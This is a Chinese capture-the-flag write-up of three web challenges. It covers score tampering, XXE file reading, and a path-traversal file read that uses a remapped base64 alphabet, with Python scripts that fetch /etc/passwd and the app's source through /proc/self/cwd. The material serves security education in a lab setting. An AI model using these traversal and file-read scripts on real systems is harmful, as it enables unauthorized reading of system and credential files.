关于ZAKER 智慧云 合作 加入

2019 网络与信息安全领域专项赛 Web Writeup

前言

前段时间坐了 5 个小时的高铁,在车上顺便打了个比赛,以下是 web 题解。

Game

拿到题发现是个老虎机 = =,本能的查看 JS:

http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/js/cqg.js

发现:

随机直接给 score.php 发包:

import requests url = 'http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/score.php' data = { 'score':'15' } r = requests.post ( url,data ) print r.content

who_are_you?

打开题目发现是个姓名输入,测试了一下发现不是啥注入登录 = =:

随即查看了一下源代码:

发现存在 xml 语句,那么抓包尝试进行 XXE 文件读取:

发现是有回显的 XXE,那么简单构造,探测过滤:

直接尝试任意文件读取:

探测 web 目录,上字典进行扫描:

直接发现了 web 目录,随即进行读取:

解码后发现得到 flag:

得到 flag:

flag{718a9c72-3d56-4ea9-9a14-d9db51228f61}

show_me_your_image

拿到题目后,发现是一个上传界面:

上传图片后得到路径:

http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name=TYrg73eHzZhRjmPg

同时 session 为 :

eyJmaWxlIjp7IiBiIjoiVkZseVp6Y3paVWg2V21oU2FtMVFadz09In19.XVWOtA.QVC_HI-oJpjQCJ1v1UaxzUEd2BA

解码得到:

题目有 2 个地方感觉比较奇怪,第一个地方是文件名比较奇怪,并不是普通的 base64,第二个是 session 比较奇怪,像 JWT 又不是,观察题目的路由,是发给 upload.php 的,这是个 PHP,却又有不符合 php 样子的东西,这一点为接下来的内容埋下了伏笔。

首先针对文件名进行研究,不难发现,文件名受上传文件的 filename 影响,同时并不是正常的 base64。

同时如果想更改文件名进行任意文件读取,会返回 500:

经过研究发现,码表是被更换过的,我们搞出码表的映射关系:

import string ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f' bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI' c = string.maketrans ( ax,bx ) print ( string.translate ( "index.php", c ) )

此时编码就正常了许多,我们可以进行任意文件读取了:

import string import requests import base64 url = 'http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name=' ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f' bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI' c = string.maketrans ( ax,bx ) name = string.translate ( base64.b64encode ( "../../../etc/passwd" ) , c ) url = url+name r = requests.get ( url ) print r.content print url

此时对 /proc 目录进行读取探测,发现 stat 正常:

此时奇怪的事情发生了,看到了一个 python3,明明是 php 的程序,为什么会有 python3?

于是我对 cmdline 进行了读取:

发现还真有一个 app.py 被启动了,那么我赶紧对其源码进行读取:

../../../../proc/self/cwd/app.py

(这里要注意 url 编码)

即可拿到 app.py:

import os from urllib import parse from base64 import b64decode, b64encode from utils import r_encode, r_decode, read_file from flask import render_template, Response from flask import Flask, session, redirect, request from werkzeug.utils import secure_filename app = Flask ( __name__ ) app.config [ 'SECRET_KEY' ] = os.urandom ( 24 ) UPLOAD_FOLDER = '/tmp/uploads/' ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} app.config [ 'UPLOAD_FOLDER' ] = UPLOAD_FOLDER def allowed_file ( filename ) : return '.' in filename and filename.rsplit ( '.', 1 ) [ 1 ] in ALLOWED_EXTENSIONS @app.route ( '/' ) @app.route ( '/index.php' ) def home ( ) : file = session.get ( 'file' ) if file: file = bytes.decode ( file ) file = parse.quote ( file ) return render_template ( 'index.html', file=file ) @app.route ( '/upload.php', methods= [ 'POST' ] ) def upload ( ) : if request.method == 'POST': file = request.files [ 'file' ] if file and allowed_file ( file.filename ) : if not os.path.exists ( app.config [ 'UPLOAD_FOLDER' ] ) : os.makedirs ( app.config [ 'UPLOAD_FOLDER' ] ) filename = secure_filename ( file.filename ) file.save ( os.path.join ( app.config [ 'UPLOAD_FOLDER' ] , filename ) ) else: return " 不允许的格式 " session [ 'file' ] = r_encode ( b64encode ( str.encode ( file.filename ) ) ) return redirect ( '/' ) @app.route ( '/img.php', methods= [ 'GET' ] ) def img ( ) : file = request.args.get ( "name" ) file = r_decode ( str.encode ( file ) ) file = b64decode ( file ) file = UPLOAD_FOLDER + bytes.decode ( file ) image = read_file ( file ) return Response ( image, mimetype="image/jpeg" ) if __name__ == '__main__': app.run ( host = '0.0.0.0', port = 80, )

不禁感叹出题人的阴线,把一个 python 题目搞成 php 的样子,叫这种名字的路由 = =。

接着寻找 flag 文件,看到出题人的提示:

templates/upload.html

于是读取:

../../../../proc/self/cwd/templates/upload.html

得到 :

Title

上传图片

{% if file %} {% else %} 请上传一张图片 {% endif %}

发下 flag 在 /root/flag.txt,进行读取:

即可成功 getflag。

后记

还有一个 web 全场没有人做,看题目描述是 PostgreSQL 注入,有机会再研究吧 ~

觉得文章不错,微信扫描分享好友

扫码分享